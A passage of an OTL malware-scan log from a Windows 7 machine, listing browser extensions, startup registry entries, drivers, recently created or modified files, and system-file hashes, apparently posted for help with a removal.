FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\Adobe Reader: C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)


[2015.01.10 21:24:08 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Win7\AppData\Roaming\Mozilla\Extensions
[2015.02.20 02:53:40 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Win7\AppData\Roaming\Mozilla\Firefox\Profiles\l9wezdfa.default\extensions
File not found (No name found) -- C:\USERS\WIN7\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\L9WEZDFA.DEFAULT\EXTENSIONS\{98249F04-E000-489B-BAD4-0D6DA2A86141}
[2014.01.23 15:55:50 | 000,034,072 | ---- | M] (Microsoft Corporation) -- C:\Program Files (x86)\mozilla firefox\plugins\npMeetingJoinPluginOC.dll

========== Chrome ==========

CHR - plugin: Error reading preferences file
CHR - Extension: No name found = C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\
CHR - Extension: No name found = C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\
CHR - Extension: No name found = C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\
CHR - Extension: No name found = C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\
CHR - Extension: No name found = C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.20_0\
CHR - Extension: No name found = C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\
CHR - Extension: No name found = C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\knebimhcckndhiglamoabbnifdkijidd\2.7.2_0\
CHR - Extension: No name found = C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0\
CHR - Extension: No name found = C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_1\

O1 HOSTS File: ([2009.06.10 22:00:26 | 000,000,824 | ---- | M]) - C:\Windows\SysNative\drivers\etc\hosts
O2 - BHO: (Java(tm) Plug-In SSV Helper) - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files (x86)\Java\jre1.8.0_31\bin\ssv.dll (Oracle Corporation)
O2 - BHO: (Java(tm) Plug-In 2 SSV Helper) - {DBC80044-A445-435b-BC74-9C25C1C588A9} - C:\Program Files (x86)\Java\jre1.8.0_31\bin\jp2ssv.dll (Oracle Corporation)
O4:64bit: - HKLM..\Run: [egui] C:\Program Files\ESET\ESET Smart Security\egui.exe (ESET)
O4:64bit: - HKLM..\Run: [HotKeysCmds] C:\Windows\SysNative\hkcmd.exe (Intel Corporation)
O4:64bit: - HKLM..\Run: [IgfxTray] C:\Windows\SysNative\igfxtray.exe (Intel Corporation)
O4:64bit: - HKLM..\Run: [Persistence] C:\Windows\SysNative\igfxpers.exe (Intel Corporation)
O4 - HKU\S-1-5-19..\Run: [Sidebar] C:\Program Files (x86)\Windows Sidebar\Sidebar.exe (Microsoft Corporation)
O4 - HKU\S-1-5-20..\Run: [Sidebar] C:\Program Files (x86)\Windows Sidebar\Sidebar.exe (Microsoft Corporation)
O4 - HKU\S-1-5-19..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe File not found
O4 - HKU\S-1-5-20..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe File not found
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoActiveDesktop = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoActiveDesktopChanges = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorAdmin = 5
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3
O1364bit: - gopher Prefix: missing
O13 - gopher Prefix: missing
O16 - DPF: {166B1BCA-3F9C-11CF-8075-444553540000} http://fpdownload.macromedia.com/pub/sh ... tor/sw.cab (Shockwave ActiveX Control)
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 10.0.0.138
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{FB496441-3C51-4907-A13D-ACE5094D5AC5}: DhcpNameServer = 10.0.0.138
O18:64bit: - Protocol\Handler\ms-help - No CLSID value found
O18:64bit: - Protocol\Handler\osf - No CLSID value found
O20:64bit: - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\explorer.exe (Microsoft Corporation)
O20:64bit: - HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\SysNative\userinit.exe (Microsoft Corporation)
O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\SysWow64\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (userinit.exe) - C:\Windows\SysWow64\userinit.exe (Microsoft Corporation)
O20:64bit: - Winlogon\Notify\igfxcui: DllName - (igfxdev.dll) - C:\Windows\SysNative\igfxdev.dll (Intel Corporation)
O21:64bit: - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O32 - HKLM CDRom: AutoRun - 1
O34 - HKLM BootExecute: (autocheck autochk *)
O35:64bit: - HKLM\..comfile [open] -- "%1" %*
O35:64bit: - HKLM\..exefile [open] -- "%1" %*
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37:64bit: - HKLM\...com [@ = comfile] -- "%1" %*
O37:64bit: - HKLM\...exe [@ = exefile] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)
O38 - SubSystems\\Windows: (ServerDll=sxssrv,4)

CREATERESTOREPOINT
Restore point Set: OTL Restore Point

NetSvcs:64bit: AppMgmt - C:\Windows\SysNative\appmgmts.dll (Microsoft Corporation)

Drivers32:64bit: msacm.ac3acm - ac3acm.acm (fccHandler)
Drivers32:64bit: msacm.l3acm - l3codeca.acm (Fraunhofer Institut Integrierte Schaltungen IIS)
Drivers32:64bit: msacm.l3codecp - l3codecp.acm (Fraunhofer Institut Integrierte Schaltungen IIS)
Drivers32:64bit: VIDC.FFDS - ff_vfw.dll ()
Drivers32:64bit: VIDC.LAGS - lagarith.dll ( )
Drivers32:64bit: VIDC.X264 - x264vfw64.dll (x264vfw project)
Drivers32:64bit: VIDC.XVID - xvidvfw.dll ()
Drivers32: msacm.ac3acm - C:\Windows\SysWow64\ac3acm.acm (fccHandler)
Drivers32: msacm.l3acm - C:\Windows\SysWow64\l3codeca.acm (Fraunhofer Institut Integrierte Schaltungen IIS)
Drivers32: msacm.l3codecp - C:\Windows\SysWow64\l3codecp.acm (Fraunhofer Institut Integrierte Schaltungen IIS)
Drivers32: vidc.cvid - C:\Windows\SysWow64\iccvid.dll (Radius Inc.)
Drivers32: VIDC.FFDS - C:\Windows\SysWow64\ff_vfw.dll ()
Drivers32: VIDC.LAGS - C:\Windows\SysWow64\lagarith.dll ( )
Drivers32: VIDC.X264 - C:\Windows\SysWow64\x264vfw.dll (x264vfw project)
Drivers32: VIDC.XVID - C:\Windows\SysWow64\xvidvfw.dll ()
PhysicalDisk0 MBR saved to C:\PhysicalMBR.bin

========== Files/Folders - Created Within 7 Days ==========

[2015.02.20 11:04:28 | 000,602,112 | ---- | C] (OldTimer Tools) -- C:\Users\Win7\Desktop\OTL.exe
[2015.02.20 04:13:25 | 000,044,544 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\TsUsbGDCoInstaller.dll
[2015.02.20 04:13:23 | 000,013,824 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\TsUsbRedirectionGroupPolicyControl.exe
[2015.02.20 04:13:23 | 000,012,800 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\TsUsbRedirectionGroupPolicyExtension.dll
[2015.02.20 04:13:22 | 000,083,968 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\TSWbPrxy.exe
[2015.02.20 04:13:22 | 000,062,976 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\tsgqec.dll
[2015.02.20 04:13:22 | 000,056,832 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\drivers\TsUsbFlt.sys
[2015.02.20 04:13:22 | 000,056,832 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\MsRdpWebAccess.dll
[2015.02.20 04:13:22 | 000,053,248 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\tsgqec.dll
[2015.02.20 04:13:22 | 000,050,176 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\MsRdpWebAccess.dll
[2015.02.20 04:13:22 | 000,018,944 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\wksprtPS.dll
[2015.02.20 04:13:22 | 000,017,920 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\wksprtPS.dll
[2015.02.20 04:13:21 | 001,147,392 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\mstsc.exe
[2015.02.20 04:13:21 | 001,068,544 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\mstsc.exe
[2015.02.20 04:13:21 | 000,420,864 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\wksprt.exe
[2015.02.20 04:13:20 | 006,578,176 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\mstscax.dll
[2015.02.20 04:13:20 | 005,698,048 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\mstscax.dll
[2015.02.20 04:13:19 | 001,057,280 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\rdvidcrl.dll
[2015.02.20 04:13:19 | 000,855,552 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\rdvidcrl.dll
[2015.02.20 04:11:30 | 000,015,360 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\RdpGroupPolicyExtension.dll
[2015.02.20 04:11:29 | 000,030,208 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\drivers\TsUsbGD.sys
[2015.02.20 04:11:29 | 000,029,696 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\drivers\terminpt.sys
[2015.02.20 04:11:29 | 000,019,456 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\drivers\rdpvideominiport.sys
[2015.02.20 04:11:27 | 000,192,000 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\rdpendp_winip.dll
[2015.02.20 04:11:26 | 003,174,912 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\rdpcorets.dll
[2015.02.20 04:11:26 | 000,243,200 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\rdpudd.dll
[2015.02.20 04:11:26 | 000,228,864 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\rdpendp_winip.dll
[2015.02.20 03:20:20 | 000,000,000 | ---D | C] -- C:\Users\Win7\AppData\Local\Diagnostics
[2015.02.20 02:50:22 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CCleaner
[2015.02.20 02:50:18 | 000,000,000 | ---D | C] -- C:\Program Files\CCleaner
[2015.02.20 02:27:52 | 000,000,000 | ---D | C] -- C:\Users\Win7\AppData\Roaming\ESET
[2015.02.20 02:27:52 | 000,000,000 | ---D | C] -- C:\Users\Win7\AppData\Local\ESET
[2015.02.20 02:20:01 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ESET
[2015.02.20 02:20:00 | 000,000,000 | ---D | C] -- C:\ProgramData\ESET
[2015.02.20 02:20:00 | 000,000,000 | ---D | C] -- C:\Program Files\ESET
[2015.02.20 02:04:12 | 000,000,000 | -HSD | C] -- C:\Config.Msi
[2015.02.20 01:19:42 | 000,129,752 | ---- | C] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\MBAMSwissArmy.sys
[2015.02.20 01:19:17 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware
[2015.02.20 01:19:02 | 000,093,400 | ---- | C] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\mbamchameleon.sys
[2015.02.20 01:19:02 | 000,063,704 | ---- | C] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\mwac.sys
[2015.02.20 01:19:02 | 000,025,816 | ---- | C] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\mbam.sys
[2015.02.20 01:19:02 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Malwarebytes Anti-Malware
[2015.02.20 01:19:02 | 000,000,000 | ---D | C] -- C:\ProgramData\Malwarebytes
[2015.02.20 00:57:17 | 000,000,000 | ---D | C] -- C:\AdwCleaner
[2015.02.20 00:39:07 | 000,688,992 | R--- | C] (Swearware) -- C:\Users\Win7\Desktop\dds.exe
[2015.02.20 00:35:07 | 000,000,000 | ---D | C] -- C:\Program Files\trend micro
[2015.02.20 00:35:07 | 000,000,000 | ---D | C] -- C:\rsit
[2015.02.20 00:23:00 | 000,000,000 | ---D | C] -- C:\FRST
[2015.02.20 00:21:52 | 002,086,912 | ---- | C] (Farbar) -- C:\Users\Win7\Desktop\FRST64.exe
[2015.02.19 23:58:50 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Common Files\Java
[2015.02.18 03:22:47 | 000,950,272 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\perftrack.dll
[2015.02.18 03:22:47 | 000,029,696 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\powertracker.dll
[2015.02.16 15:55:17 | 000,620,032 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\jscript9diag.dll
[2015.02.16 15:55:16 | 006,041,600 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\jscript9.dll
[2015.02.16 15:55:16 | 000,814,080 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\jscript9diag.dll

========== Files - Modified Within 7 Days ==========

[2015.02.20 11:13:56 | 000,000,512 | ---- | M] () -- C:\PhysicalMBR.bin
[2015.02.20 11:13:03 | 000,000,914 | ---- | M] () -- C:\Windows\tasks\Adobe Flash Player Updater.job
[2015.02.20 11:12:01 | 000,000,948 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job
[2015.02.20 11:04:42 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Win7\Desktop\OTL.exe
[2015.02.20 11:00:15 | 000,151,805 | ---- | M] () -- C:\Users\Win7\Desktop\mnamky.png
[2015.02.20 10:56:58 | 000,129,752 | ---- | M] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\MBAMSwissArmy.sys
[2015.02.20 10:53:38 | 000,021,280 | -H-- | M] () -- C:\Windows\SysNative\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
[2015.02.20 10:53:38 | 000,021,280 | -H-- | M] () -- C:\Windows\SysNative\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
[2015.02.20 10:45:36 | 000,000,944 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore.job
[2015.02.20 10:45:23 | 000,067,584 | --S- | M] () -- C:\Windows\bootstat.dat
[2015.02.20 10:45:12 | 3148,554,240 | -HS- | M] () -- C:\hiberfil.sys
[2015.02.20 03:21:28 | 000,007,605 | ---- | M] () -- C:\Users\Win7\AppData\Local\Resmon.ResmonCfg
[2015.02.20 02:04:38 | 000,001,945 | ---- | M] () -- C:\Windows\epplauncher.mif
[2015.02.20 00:39:18 | 000,688,992 | R--- | M] (Swearware) -- C:\Users\Win7\Desktop\dds.exe
[2015.02.20 00:34:42 | 001,222,144 | ---- | M] () -- C:\Users\Win7\Desktop\RSITx64.exe
[2015.02.20 00:22:02 | 002,086,912 | ---- | M] (Farbar) -- C:\Users\Win7\Desktop\FRST64.exe
[2015.02.19 23:58:20 | 000,098,216 | ---- | M] (Oracle Corporation) -- C:\Windows\SysWow64\WindowsAccessBridge-32.dll
[2015.02.19 23:53:05 | 000,000,479 | ---- | M] () -- C:\Users\Win7\rgut
[2015.02.14 10:36:42 | 000,438,216 | ---- | M] () -- C:\Windows\SysNative\FNTCACHE.DAT

========== Files Created - No Company Name ==========

[2015.02.20 11:13:56 | 000,000,512 | ---- | C] () -- C:\PhysicalMBR.bin
[2015.02.20 10:57:26 | 000,151,805 | ---- | C] () -- C:\Users\Win7\Desktop\mnamky.png
[2015.02.20 03:21:28 | 000,007,605 | ---- | C] () -- C:\Users\Win7\AppData\Local\Resmon.ResmonCfg
[2015.02.20 00:34:39 | 001,222,144 | ---- | C] () -- C:\Users\Win7\Desktop\RSITx64.exe
[2015.01.13 10:42:28 | 000,000,135 | ---- | C] () -- C:\Windows\TMFLogoEx.INI
[2015.01.10 22:03:57 | 000,216,064 | ---- | C] ( ) -- C:\Windows\SysWow64\lagarith.dll
[2015.01.10 22:03:55 | 000,655,872 | ---- | C] () -- C:\Windows\SysWow64\xvidcore.dll
[2015.01.10 22:03:55 | 000,240,128 | ---- | C] () -- C:\Windows\SysWow64\xvidvfw.dll
[2015.01.10 22:03:47 | 000,218,712 | ---- | C] () -- C:\Windows\SysWow64\unrar.dll
[2015.01.10 22:03:40 | 000,112,640 | ---- | C] () -- C:\Windows\SysWow64\ff_vfw.dll
[2015.01.10 21:44:12 | 010,776,598 | ---- | C] () -- C:\Windows\SysWow64\PerfStringBackup.INI
[2015.01.10 21:39:51 | 000,000,003 | ---- | C] () -- C:\Users\Win7\stut
[2015.01.10 21:37:48 | 000,000,479 | ---- | C] () -- C:\Users\Win7\rgut
[2015.01.10 21:26:22 | 000,538,126 | --S- | C] () -- C:\Windows\SysWow64\libcurl-4.dll
[2015.01.10 21:26:22 | 000,192,512 | --S- | C] () -- C:\Windows\SysWow64\libidn-11.dll
[2015.01.10 21:26:22 | 000,133,632 | --S- | C] () -- C:\Windows\SysWow64\librtmp.dll
[2015.01.10 21:26:22 | 000,100,864 | --S- | C] () -- C:\Windows\SysWow64\zlib1.dll
[2015.01.10 21:15:04 | 000,272,928 | ---- | C] () -- C:\Windows\SysWow64\igvpkrng600.bin
[2015.01.10 21:14:58 | 000,078,848 | ---- | C] () -- C:\Windows\SysWow64\igdde32.dll
[2015.01.10 21:14:57 | 000,963,452 | ---- | C] () -- C:\Windows\SysWow64\igcodeckrng600.bin

========== ZeroAccess Check ==========

[2009.07.14 05:55:00 | 000,000,227 | RHS- | M] () -- C:\Windows\assembly\Desktop.ini

[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64

[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]

[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32] /64

[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64
"" = C:\Windows\SysNative\shell32.dll -- [2014.06.25 03:05:42 | 014,175,744 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment

[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shell32.dll -- [2014.06.25 02:41:30 | 012,874,240 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\fastprox.dll -- [2009.07.14 02:40:51 | 000,909,312 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free

[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = %systemroot%\system32\wbem\fastprox.dll -- [2010.11.21 04:24:25 | 000,606,208 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\wbemess.dll -- [2009.07.14 02:41:56 | 000,505,856 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both

[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]

========== LOP Check ==========

[2015.02.20 02:27:52 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\ESET
[2015.01.11 22:03:48 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\PDF Writer
[2015.01.16 09:39:09 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\TeamViewer

========== Purity Check ==========



========== Custom Scans ==========

< >
[2009.07.14 06:08:49 | 000,000,006 | -H-- | C] () -- C:\Windows\Tasks\SA.DAT
[2009.07.14 06:08:49 | 000,023,684 | ---- | C] () -- C:\Windows\Tasks\SCHEDLGU.TXT
[2015.01.10 21:41:42 | 000,000,914 | ---- | C] () -- C:\Windows\Tasks\Adobe Flash Player Updater.job
[2015.01.28 18:07:22 | 000,000,944 | ---- | C] () -- C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
[2015.01.28 18:07:24 | 000,000,948 | ---- | C] () -- C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job

< >

< MD5 for: ATAPI.SYS >
[2009.07.14 02:52:21 | 000,024,128 | ---- | M] (Microsoft Corporation) MD5=02062C0B390B7729EDC9E69C680A6F3C -- C:\Windows\SysNative\drivers\atapi.sys
[2009.07.14 02:52:21 | 000,024,128 | ---- | M] (Microsoft Corporation) MD5=02062C0B390B7729EDC9E69C680A6F3C -- C:\Windows\SysNative\DriverStore\FileRepository\mshdc.inf_amd64_neutral_552ea5111ec825a6\atapi.sys
[2009.07.14 02:52:21 | 000,024,128 | ---- | M] (Microsoft Corporation) MD5=02062C0B390B7729EDC9E69C680A6F3C -- C:\Windows\SysNative\DriverStore\FileRepository\mshdc.inf_amd64_neutral_aad30bdeec04ea5e\atapi.sys
[2009.07.14 02:52:21 | 000,024,128 | ---- | M] (Microsoft Corporation) MD5=02062C0B390B7729EDC9E69C680A6F3C -- C:\Windows\winsxs\amd64_mshdc.inf_31bf3856ad364e35_6.1.7601.17514_none_3b5e2d89382958dd\atapi.sys
[2009.07.14 02:52:21 | 000,024,128 | ---- | M] (Microsoft Corporation) MD5=02062C0B390B7729EDC9E69C680A6F3C -- C:\Windows\winsxs\amd64_mshdc.inf_31bf3856ad364e35_6.1.7601.18231_none_3b457059383c66e6\atapi.sys
[2009.07.14 02:52:21 | 000,024,128 | ---- | M] (Microsoft Corporation) MD5=02062C0B390B7729EDC9E69C680A6F3C -- C:\Windows\winsxs\amd64_mshdc.inf_31bf3856ad364e35_6.1.7601.22414_none_3be7afc0514717fa\atapi.sys

< MD5 for: AUTOCHK.EXE >
[2010.11.21 04:24:27 | 000,777,728 | ---- | M] (Microsoft Corporation) MD5=3B536A8BEC3B4F23FFDFD78B11A2AB93 -- C:\Windows\SysNative\autochk.exe
[2010.11.21 04:24:27 | 000,777,728 | ---- | M] (Microsoft Corporation) MD5=3B536A8BEC3B4F23FFDFD78B11A2AB93 -- C:\Windows\winsxs\amd64_microsoft-windows-autochk_31bf3856ad364e35_6.1.7601.17514_none_4019f2b8d860ad30\autochk.exe
[2010.11.21 04:23:53 | 000,668,160 | ---- | M] (Microsoft Corporation) MD5=F88A52EB62019D6A62FDD9E08034DBD8 -- C:\Windows\SysWOW64\autochk.exe
[2010.11.21 04:23:53 | 000,668,160 | ---- | M] (Microsoft Corporation) MD5=F88A52EB62019D6A62FDD9E08034DBD8 -- C:\Windows\winsxs\x86_microsoft-windows-autochk_31bf3856ad364e35_6.1.7601.17514_none_e3fb573520033bfa\autochk.exe

< MD5 for: CDROM.SYS >
[2010.11.21 04:23:47 | 000,147,456 | ---- | M] (Microsoft Corporation) MD5=F036CE71586E93D94DAB220D7BDF4416 -- C:\Windows\SysNative\drivers\cdrom.sys
[2010.11.21 04:23:47 | 000,147,456 | ---- | M] (Microsoft Corporation) MD5=F036CE71586E93D94DAB220D7BDF4416 -- C:\Windows\SysNative\DriverStore\FileRepository\cdrom.inf_amd64_neutral_0b3d0d1942ab684b\cdrom.sys
[2010.11.21 04:23:47 | 000,147,456 | ---- | M] (Microsoft Corporation) MD5=F036CE71586E93D94DAB220D7BDF4416 -- C:\Windows\winsxs\amd64_cdrom.inf_31bf3856ad364e35_6.1.7601.17514_none_bdcf6151ba66f48b\cdrom.sys

< MD5 for: EXPLORER.EXE >
[2011.02.26 06:19:21 | 002,616,320 | ---- | M] (Microsoft Corporation) MD5=0FB9C74046656D1579A64660AD67B746 -- C:\Windows\winsxs\wow64_microsoft-windows-explorer_31bf3856ad364e35_6.1.7601.21669_none_ba87e574ddfe652d\explorer.exe
[2011.02.25 07:19:30 | 002,871,808 | ---- | M] (Microsoft Corporation) MD5=332FEAB1435662FC6C672E25BEB37BE3 -- C:\Windows\explorer.exe
[2011.02.25 07:19:30 | 002,871,808 | ---- | M] (Microsoft Corporation) MD5=332FEAB1435662FC6C672E25BEB37BE3 -- C:\Windows\winsxs\amd64_microsoft-windows-explorer_31bf3856ad364e35_6.1.7601.17567_none_afa79dc39081d0ba\explorer.exe
[2011.02.26 07:14:34 | 002,871,808 | ---- | M] (Microsoft Corporation) MD5=3B69712041F3D63605529BD66DC00C48 -- C:\Windows\winsxs\amd64_microsoft-windows-explorer_31bf3856ad364e35_6.1.7601.21669_none_b0333b22a99da332\explorer.exe
[2010.11.21 04:24:25 | 002,616,320 | ---- | M] (Microsoft Corporation) MD5=40D777B7A95E00593EB1568C68514493 -- C:\Windows\winsxs\wow64_microsoft-windows-explorer_31bf3856ad364e35_6.1.7601.17514_none_ba2f56d3c4bcbafb\explorer.exe
[2011.02.25 06:30:54 | 002,616,320 | ---- | M] (Microsoft Corporation) MD5=8B88EBBB05A0E56B7DCC708498C02B3E -- C:\Windows\SysWOW64\explorer.exe
[2011.02.25 06:30:54 | 002,616,320 | ---- | M] (Microsoft Corporation) MD5=8B88EBBB05A0E56B7DCC708498C02B3E -- C:\Windows\winsxs\wow64_microsoft-windows-explorer_31bf3856ad364e35_6.1.7601.17567_none_b9fc4815c4e292b5\explorer.exe
[2010.11.21 04:24:11 | 002,872,320 | ---- | M] (Microsoft Corporation) MD5=AC4C51EB24AA95B77F705AB159189E24 -- C:\Windows\winsxs\amd64_microsoft-windows-explorer_31bf3856ad364e35_6.1.7601.17514_none_afdaac81905bf900\explorer.exe

< MD5 for: HAL.DLL >
[2010.11.21 04:24:08 | 000,263,040 | ---- | M] (Microsoft Corporation) MD5=CFB8C673F9188F99466E76C6972191E0 -- C:\Windows\SysNative\hal.dll
[2010.11.21 04:24:08 | 000,263,040 | ---- | M] (Microsoft Corporation) MD5=CFB8C673F9188F99466E76C6972191E0 -- C:\Windows\winsxs\amd64_microsoft-windows-hal_31bf3856ad364e35_6.1.7601.17514_none_094ef8137049c196\hal.dll

< MD5 for: SCECLI.DLL >
[2010.11.21 04:23:54 | 000,175,616 | ---- | M] (Microsoft Corporation) MD5=8124944EC89D6A1815E4E53F5B96AAF4 -- C:\Windows\SysWOW64\scecli.dll
[2010.11.21 04:23:54 | 000,175,616 | ---- | M] (Microsoft Corporation) MD5=8124944EC89D6A1815E4E53F5B96AAF4 -- C:\Windows\winsxs\wow64_microsoft-windows-s..urationengineclient_31bf3856ad364e35_6.1.7601.17514_none_a088921d241bbb4e\scecli.dll
[2010.11.21 04:24:32 | 000,232,960 | ---- | M] (Microsoft Corporation) MD5=ED78427259134C63ED69804D2132B86C -- C:\Windows\SysNative\scecli.dll
[2010.11.21 04:24:32 | 000,232,960 | ---- | M] (Microsoft Corporation) MD5=ED78427259134C63ED69804D2132B86C -- C:\Windows\winsxs\amd64_microsoft-windows-s..urationengineclient_31bf3856ad364e35_6.1.7601.17514_none_9633e7caefbaf953\scecli.dll

< MD5 for: SERVICES.EXE >
[2009.07.14 02:39:37 | 000,328,704 | ---- | M] (Microsoft Corporation) MD5=24ACB7E5BE595468E3B9AA488B9B4FCB -- C:\Windows\SysNative\services.exe
